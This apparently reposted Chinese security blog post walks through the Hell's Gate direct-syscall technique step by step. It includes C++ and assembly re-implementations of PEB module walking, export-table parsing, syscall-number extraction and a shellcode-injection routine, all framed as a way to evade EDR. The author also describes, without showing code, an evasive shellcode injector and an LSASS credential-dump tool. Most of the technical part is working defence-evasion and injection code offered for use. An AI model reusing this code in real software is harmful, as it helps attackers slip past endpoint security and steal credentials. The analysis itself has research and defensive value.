Ezekiels Wheel (Hells Gate 技术分析)

admin 2024年12月17日11:28:08评论3 views字数 20615阅读68分43秒阅读模式

Ezekiels Wheel (Hells Gate Analysis)

本文是对_Hells Gate_[1] 恶意代码的技术分析。该恶意代码包含一种在 Windows 操作系统上执行系统调用的技术,用于规避 EDR 检测。

在完成分析后,我使用 C++ 开发了自己的实现版本。该版本利用ntdll.dll 中现有的系统调用指令和自定义哈希技术,来规避现代检测方法对此类技术的识别。

虽然该技术还可以进一步优化,但考虑到时间因素,我开发了两个概念验证 (PoC):

  1. 2024 年,一个能够规避现代 EDR 的基础 shellcode 注入器
  2. 2024 年,一个能够规避 Windows Defender 的 LSASS 转储工具

LSASS 转储工具可以进一步优化以规避 EDR,这部分就留给读者自行探索。

目录

  • 免责声明
  • 恶意代码分析
    • 获取 NTDLL 模块入口
    • 获取 NTDLL 的导出地址表 (EAT)
    • GetVxTableEntry() 函数分析
    • Payload() 函数分析
    • HellsGate 技术分析
    • HellsDescent 技术分析
  • 概念验证 | GTFO (Ezekiels Wheel)
  • 参考资料

免责声明

版权所有 2024 Milton Valencia

恶意代码分析

我从am0nsec[2] 下载了该技术的源代码。我想从 main 函数开始,逐行分析这段代码。

INT wmain() {        PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();        PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)return 0x1;        // Get NTDLL module         PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);        // Get the EAT of NTDLL        PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;        if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)                return 0x01;        VX_TABLE Table = { 0 };        Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;        if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))return 0x1;        Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))return 0x1;        Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))return 0x1;        Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))return 0x1;        Payload(&Table);return 0x00;}

从代码分析来看,第一步是获取 NTDLL 模块。

获取 NTDLL 模块入口

为了更好地理解这个过程是如何实现的,我编写了以下概念验证代码:

intmain(){    PTEB pTeb = GetThreadEnvironmentBlock();    PPEB pPeb = pTEB->ProcessEnvironmentBlock;    std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPEB->LoaderData->InMemoryOrderModuleList.Flink - 0x10);    std::cout << "[*] pLdrDataEntry: 0x" << std::hex << (uint64_t)pLdrDataEntry << std::endl;getchar();return0;}

为了简洁起见,我们只会在需要时讨论相关的数据结构。执行程序后,我们看到以下输出,让我们来分析一下这些数据的含义:

C:UsersdeveloperDesktop>hg.exe [*] Testing on OS Version: 10[*] pLdrDataEntry: 0x26f94d06020

如果我们使用 WinDbg 调试,可以通过!process 0 0 hg.exe 命令来获取PEB 的信息。这里我们主要关注InMemoryOrderModuleList 这个结构。

Ezekiels Wheel (Hells Gate 技术分析)

可以看到,这个地址和我们程序输出的地址非常接近,如果从这个地址减去0x10,就能得到完全相同的值。

Ezekiels Wheel (Hells Gate 技术分析)

乍看之下这些信息可能不太直观。但实际上,每个列表项都被封装在一个LDR_DATA_TABLE_ENTRY 结构中。我们可以通过转储FLINK 指针指向的结构来获取更多上下文信息。

Ezekiels Wheel (Hells Gate 技术分析)

从上面的输出可以看出,这确实是 NTDLL 模块的入口。代码中的主要步骤如下:

  1. 使用 GS 寄存器获取 TEB 指针
  2. 通过 TEB 获取 PEB 指针
  3. 使用 PEB 获取 PEB_LDR_DATA 结构指针
  4. 通过 PEB_LDR_DATA 结构访问 InMemoryOrderModuleList

由于我们无法保证ntdll.dll 总是会被加载在偏移量-0x10 的位置,让我们基于这些新发现实现一个使用双向链表遍历的概念验证代码。

intmain(){    PTEB pTeb = NULL;    PPEB pPeb = NULL;    PLIST_ENTRY pEntry = NULL;    PLIST_ENTRY pHeadEntry = NULL;    PPEB_LDR_DATA pLdrData = NULL;    PLDR_DATA_TABLE_ENTRY pLdrEntry = NULL;    PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;/* Get the TEB */    pTeb = GetThreadEnvironmentBlock();/* Get the PEB */    pPeb = pTeb->ProcessEnvironmentBlock;/* OS Version Detection Omitted */    std::cout << "[*] Testing on OS Version: " << pPeb->OSMajorVersion << std::endl;/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */    pLdrData = pPeb->LoaderData;/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains       the loaded modules for the process */    pHeadEntry = &pLdrData->InMemoryOrderModuleList;/* Iterate over the InMemoryOrderModuleList */    std::wcout << L"nInMemoryOrderModuleListn" << std::endl;    std::wcout << L"tBasetttModulen" << std::endl;for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)    {        pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pEntry;        std::wcout << L"t"          << std::hex << pLdrDataTableEntry->DllBase << L"t"          << pLdrDataTableEntry->FullDllName.Buffer        << std::endl;    }getchar();return0;}

从结果可以看到我们的概念验证代码运行成功:

Ezekiels Wheel (Hells Gate 技术分析)

然而,我们仍需要让它返回原始概念验证代码中的 LIST_ENTRY 指针。因此,让我们再次修改代码,创建一个动态获取入口点的单独函数。

在编写过程中,我发现之前的概念验证代码在解析每个入口点时存在问题。要正确获取 LDR_DATA_TABLE_ENTRY,我们需要从找到的模块地址减去 0x10,因为 Flink 地址并不是结构体的第一个成员。

PLDR_DATA_TABLE_ENTRY GetNtdllTableEntry(){PTEBpTeb= NULL;PPEBpPeb= NULL;DWORDdwModuleHash=0x00;DWORDdwDllNameSize=0x00;DWORDdwRorOperations=0x00;PLIST_ENTRYpEntry= NULL;PLIST_ENTRYpHeadEntry= NULL;PPEB_LDR_DATApLdrData= NULL;PLDR_DATA_TABLE_ENTRYpLdrEntry= NULL;PLDR_DATA_TABLE_ENTRYpLdrDataTableEntry= NULL;/* Get the TEB */    pTeb = GetThreadEnvironmentBlock();/* Get the PEB */    pPeb = pTeb->ProcessEnvironmentBlock;/* Obtain a pointer to the structure that contains information about the loaded modules for a given process */    pLdrData = pPeb->LoaderData;/* Get the pointer to the InMemoryOrderModuleList which is a doubly-linked list that contains       the loaded modules for the process */    pHeadEntry = &pLdrData->InMemoryOrderModuleList;/* Iterate over the InMemoryOrderModuleList and identify NTDLL */for (pEntry = pHeadEntry->Flink; pEntry != pHeadEntry; pEntry = pEntry->Flink)    {/* If I understood correctly we must subtract 16 from the ntdll.dll entry in the InMemoryModuleList. This           is neccessary because the Flink is not the first member of the LDR_DATA_TABLE_ENTRY structure, so when           subtracting 0x10 we get the start of the structure for ntdll.dll */        pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((std::int64_t)pEntry-0x10);/* Calculate a hash for the given DLL name */        dwDllNameSize = (pLdrDataTableEntry->BaseDllName.Length) / sizeof(wchar_t);        dwRorOperations = 0x00;        dwModuleHash = 0x00;/* Hash the DLL name for identification */for (inti=0; i < dwDllNameSize; i++)        {            dwModuleHash = dwModuleHash + ((uint32_t)pLdrDataTableEntry->BaseDllName.Buffer[i]);if (dwRorOperations < (dwDllNameSize - 1)) {                dwModuleHash = _rotr(dwModuleHash, 0xd);            }            dwRorOperations++;        }        std::wprintf(L"[*] Found %ws (HASH: 0x%lx, ENTRY: 0x%lx)n", pLdrDataTableEntry->BaseDllName.Buffer,                                                                     dwModuleHash,                                                                     (std::int64_t)pLdrDataTableEntry);if (dwModuleHash == NTDLL_HASH)        {            std::wprintf(L"[+] Located ntdll: 0x%xn", pLdrDataTableEntry);break;        }    }return pLdrDataTableEntry;}

获取 NTDLL 的导出地址表(EAT)

接下来我们需要获取 NTDLL 的导出地址表(Export Address Table,EAT)。

        PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)return0x01;

现在让我们来看看这个函数的源代码,这是由 Hells Gate 的作者创建的。

BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {    // Get DOS header    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {return FALSE;    }    // Get NT headers    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {return FALSE;    }    // Get the EAT    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);return TRUE;}

让我们在 WinDbg 中仔细分析这个过程。

Ezekiels Wheel (Hells Gate 技术分析)

获取 DataDirectory 后,我们可以从 DataDirectory 的第一个索引中获取导出地址表(Export Address Table)的虚拟地址(VirtualAddress)。我们可以使用!dh ntdll.dll -f 命令来验证这一点。

Ezekiels Wheel (Hells Gate 技术分析)

接下来让我们重新实现这个功能。

VOID GetExportAddressTable(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory){PIMAGE_DOS_HEADERpImageDosHeader= (PIMAGE_DOS_HEADER)pModuleBase;PIMAGE_NT_HEADERSpImageNtHeaders= NULL;/* Verify that the DOS header is valid */if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {        std::wcout << L"[-] Failed to detect DOS headern";return;    }/* Get a pointer to the IMAGE_NT_HEADER structure of the module (ntdll.dll) */    pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {        std::wcout << L"[-] Failed to obtain pointer to IMAGE_NT_HEADERSn";return;    }/* Obtain the address of the EAT */    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);return;}

理解 GetVxTableEntry() 函数

接下来我们看到声明了一个VX_TABLE 结构体,并调用了GetVxTableEntry() 函数。

VX_TABLETable= { 0 };        Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))return0x1

让我们开始分析GetVxTableEntry() 函数。首先看这三行代码

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry){PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

虽然这个结构体并不是开源的,但我们可以在ReactOS[3] 和malware.in[4] 找到其定义。我们可以使用 WinDbg 手动验证这个结构体的正确性。

typedefstruct_IMAGE_EXPORT_DIRECTORY  {    DWORD Characteristics;    DWORD TimeDateStamp;    WORD MajorVersion;    WORD MinorVersion;    DWORD Name;    DWORD Base;    DWORD NumberOfFunctions;    DWORD NumberOfNames;    PDWORD *AddressOfFunctions;    PDWORD *AddressOfNames;    PWORD *AddressOfNameOrdinals;  }IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

利用这个结构体,我们可以开始分析恶意软件是如何使用它的。

Ezekiels Wheel (Hells Gate 技术分析)

接下来我们看到一个相当复杂的 for 循环。

for (WORDcx=0; cx < pImageExportDirectory->NumberOfNames; cx++) {PCHARpczFunctionName= (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);PVOIDpFunctionAddress= (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {                        pVxTableEntry->pAddress = pFunctionAddress;// Quick and dirty fix in case the function has been hooked                        WORD cw = 0;                        while (TRUE) {                                // check if syscall, in this case we are too far                                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)                                        return FALSE;                                // check if ret, in this case we are also probaly too far                                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)                                        return FALSE;                                // First opcodes should be :                                //    MOV R10, RCX                                //    MOV RCX, <syscall>                                if (*((PBYTE)pFunctionAddress + cw) == 0x4c                                        && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b                                        && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1                                        && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8                                        && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00                                        && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {                                        BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);                                        BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);                                        pVxTableEntry->wSystemCall = (high << 8) | low;                                        break;                                }                                cw++;                        };                }        }

让我们分析前几行代码。

  • 首先,我们看到代码在遍历 IMAGE_EXPORT_DIRECTORY 中的名称数量 (for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {)
  • 然后,我们遍历每个函数名称,就像我们在 WinDbg 中看到的那样PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
  • 接下来,我们获取之前看到的函数地址PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

如果我们在概念验证代码中重新实现这一部分,我们会看到以下结果:

Ezekiels Wheel (Hells Gate 技术分析)

下一行是一个if 条件语句。有趣的是,我们看到了一个新函数djb2() 的引入。

  • if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {

此外,我们再次看到了之前设置的 dwHash。从我的角度来看,这似乎并不是必需的。我们可以使用任何其他哈希函数...但目前我会保持这个函数的设计不变。

接下来的代码块相当"庞大",我们看到一些检查,然后我们最终寻找操作码0x4c、0x8b、0xd1、0xb8、0x00 和 0x00

                        pVxTableEntry->pAddress = pFunctionAddress;// Quick and dirty fix in case the function has been hooked                        WORD cw = 0;                        while (TRUE) {                                // check if syscall, in this case we are too far                                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)                                        return FALSE;                                // check if ret, in this case we are also probaly too far                                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)                                        return FALSE;                                // First opcodes should be :                                //    MOV R10, RCX                                //    MOV RCX, <syscall>                                if (*((PBYTE)pFunctionAddress + cw) == 0x4c                                        && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b                                        && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1                                        && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8                                        && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00                                        && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {                                        BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);                                        BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);                                        pVxTableEntry->wSystemCall = (high << 8) | low;                                        break;                                }                                cw++;

如果我们在sickle 中查看这段代码,确实可以看到这是mov r10, rcx 指令。根据输出结果,我们可能只需要使用0x4c、0x8b 和 0xd1 这三个操作码。

┌──(wetw0rk㉿kali)-[/opt/Sickle/src]└─$ python3 sickle.py -m asm_shell -f c [*] ASM Shell loaded for x64 architecturesickle > d 4c8bd1b800004c8bd1                           -> mov r10, rcx

让我们再次更新我们的概念验证代码。

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry){PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);WORDcx=0x00;WORDcw=0x00;PCHARpczFunctionName= NULL;PVOIDpFunctionAddress= NULL;for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)    {        pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);        pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];/* We found the target function */if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {            pVxTableEntry->pAddress = pFunctionAddress;while (TRUE) {                printf("[*] Found target function: %s (0x%p)n", pczFunctionName, pFunctionAddress);if (*((PBYTE)pFunctionAddress + cw) == 0x4c                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {                    printf("[+] Syscall found @{0x%p}n", (PVOID)((intptr_t)pFunctionAddress + cw));                    getchar();                }                cw++;            }        }    }return TRUE;}

我们可以看到成功定位到了系统调用指令序列。

Ezekiels Wheel (Hells Gate 技术分析)

最后,当我们定位到这个字节序列/指令序列时,我们将系统调用号写入到VX_TABLE 结构体中。

BYTEhigh= *((PBYTE)pFunctionAddress + 5 + cw);BYTElow= *((PBYTE)pFunctionAddress + 4 + cw);                                        pVxTableEntry->wSystemCall = (high << 8) | low;

虽然我们不太确定为什么要以这种方式存储系统调用号 (也许我们可以重新实现它),但是通过 WinDBG 可以看到,当我们读取这个值时,过程还是比较直观的。

Ezekiels Wheel (Hells Gate 技术分析)

至此,我们已经实现了这个函数的自定义版本,以便理解其底层运作机制。

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry){PDWORDpdwAddressOfFunctions= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);PDWORDpdwAddressOfNames= (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);PWORDpwAddressOfNameOrdinales= (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);BYTEhigh=0x00;BYTElow=0x00;WORDcx=0x00;WORDcw=0x00;PCHARpczFunctionName= NULL;PVOIDpFunctionAddress= NULL;for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++)    {        pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);        pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];/* We found the target function */if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {            pVxTableEntry->pAddress = pFunctionAddress;/* Quick and dirty fix in case the function has been hooked */while (TRUE) {/* Check if a syscall instruction has been reached, if so we are too deep into the function */if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)return FALSE;/* Check if a ret instruction has been reached, if so we read to deep into the function */if (*((PBYTE)pFunctionAddress + cw) == 0xc3)return FALSE;if (*((PBYTE)pFunctionAddress + cw) == 0x4c                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {                    high = *((PBYTE)pFunctionAddress + 5 + cw);                    low = *((PBYTE)pFunctionAddress + 4 + cw);                    pVxTableEntry->wSystemCall = (high << 8) | low;                    printf("[*] %s syscall start found @{0x%p}n", pczFunctionName, (PVOID)((intptr_t)pFunctionAddress + cw));                    printf("t[*] High: 0x%xn", high);                    printf("t[*] Low: 0x%xn", low);                    printf("t[*] Syscall: 0x%xn", pVxTableEntry->wSystemCall);break;                }                cw++;            }        }    }return TRUE;}

接下来我们可以介绍 main 函数的其余部分。

    vxTable.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtAllocateVirtualMemory))return0x01;    vxTable.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtCreateThreadEx))return0x1;    vxTable.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtProtectVirtualMemory))return0x1;    vxTable.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;if (!GetVxTableEntry(pNtdllEntry->DllBase, pImageExportDirectory, &vxTable.NtWaitForSingleObject))return0x1;

理解 Payload() 函数

最后,我们来分析main() 函数中的最后一个函数调用。

Payload(&Table);

我们可以看到这是作者实现的另一个自定义函数。此外,我们还看到了三个额外的自定义函数:HellsGateHellsDescent 和VxMoveMemory

BOOL Payload(PVX_TABLE pVxTable) {NTSTATUSstatus=0x00000000;char shellcode[] = "x90x90x90x90xccxccxccxccxc3";// Allocate memory for the shellcode        PVOID lpAddress = NULL;        SIZE_T sDataSize = sizeof(shellcode);        HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);        status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);        // Write Memory        VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));        // Change page permissions        ULONG ulOldProtect = 0;        HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);        status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);        // Create thread        HANDLE hHostThread = INVALID_HANDLE_VALUE;        HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);        status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);        // Wait for 1 seconds        LARGE_INTEGER Timeout;        Timeout.QuadPart = -10000000;        HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);        status = HellDescent(hHostThread, FALSE, &Timeout);        return TRUE;}

理解 HellsGate

我们可以先忽略VxMoveMemory 的底层操作,因为它只是memcpy() 的自定义实现。接下来我们开始分析第一个调用 - HellsGate 的底层操作。

.data        wSystemCall DWORD 000h.code        HellsGate PROC                mov wSystemCall, 000h                mov wSystemCall, ecx                ret        HellsGate ENDP

让我们在这个调用之前设置一个DebugBreak(); 断点。

    DebugBreak();    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);

在 WinDbg 中运行后,我们可以看到即将进入 HellsGate 调用。

Ezekiels Wheel (Hells Gate 技术分析)

进入后,我们可以看到将要执行动态解析的系统调用。

Ezekiels Wheel (Hells Gate 技术分析)

理解 HellsDescent

此时,我们的汇编程序存根在二进制文件的.data 段中保存了NtAllocateVirtualMemory 的系统调用号。下一步是调用 HellsDescent,在这里我们实际执行系统调用。

status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

当我们进入 HellsDescent 时,可以观察到 RCX 被移动到 R10 寄存器。通常在进行函数调用时,参数传递的顺序是RCX、RDX、R8、R9,额外的参数则存储在栈偏移量 0x20 的位置。查看NtAllocateMemory()[5] 的函数原型可以发现,除非 RCX 是指向对象的指针,否则这些参数无法全部存储在 RCX 寄存器中。

__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory([in]      HANDLE    ProcessHandle,[in, out] PVOID     *BaseAddress,[in]      ULONG_PTR ZeroBits,[in, out] PSIZE_T   RegionSize,[in]      ULONG     AllocationType,[in]      ULONG     Protect);

通过查看寄存器状态可以进一步确认这一点。

Ezekiels Wheel (Hells Gate 技术分析)

至此,我们对 HellsGate 的工作原理有了清晰的认识 Ezekiels Wheel (Hells Gate 技术分析)

  1. 解析 InMemoryOrderModuleList 并获取 NTDLL 的基地址
  2. 获取 NTDLL 的导出地址表 (EAT) 地址
  3. 解析 EAT 以搜索目标系统调用
  4. 执行系统调用
  5. 完成目标

PoC | GTFO (Ezekiels Wheel)

在了解了 Hell's Gate 的内部机制后,我们可以利用这些新获得的知识编写自己的实现。虽然 Ezekiels Wheel 针对免杀进行了优化,但重要的是要明白,如果不理解 Windows 系统调用的基本原理,这一切都是不可能实现的。

Ezekiels Wheel (Hells Gate 技术分析)

Ezekiels Wheel 的改进如下:

  1. 动态系统调用搜索,我们不依赖代码中硬编码的系统调用指令
  2. 代码重用,我们利用现有的 ntdll.dll 系统调用,使 EDR 认为这些操作是正常的
  3. 在搜索函数例程时重新实现了自己的哈希技术
  4. 我们给它起了一个很酷的名字 Ezekiels Wheel (Hells Gate 技术分析)

以西结书 10:10至于轮的形状,四轮都是一个样式,好像轮中套轮。

参考资料

http://malwareid.in/unpack/unpacking-basics/export-address-table-and-dll-hijackinghttps://doxygen.reactos.org/de/d20/struct__IMAGE__EXPORT__DIRECTORY.htmlhttps://learn.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-containing_recordhttps://davidesnotes.com/articles/1/?page=1#https://gist.github.com/Spl3en/9c0ea329bb7878df9b9bhttps://redops.at/en/blog/exploring-hells-gatehttp://www.rohitab.com/discuss/topic/42191-c-peb-ldr-inmemoryordermodulelist-flink-dllbase-dont-get-the-good-address/https://www.vergiliusproject.com/https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/https://www.youtube.com/watch?v=elA_eiqWefw&t=2s

参考资料

[1]

Hells Gate:https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf

[2]

am0nsec:https://github.com/am0nsec/HellsGate

[3]

ReactOS:https://doxygen.reactos.org/de/d20/struct__IMAGE__EXPORT__DIRECTORY.html

[4]

malware.in:http://malwareid.in/unpack/unpacking-basics/export-address-table-and-dll-hijacking

[5]

NtAllocateMemory():https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory

原文始发于微信公众号(securitainment):Ezekiels Wheel (Hells Gate 技术分析)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日11:28:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ezekiels Wheel (Hells Gate 技术分析)https://cn-sec.com/archives/3518145.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息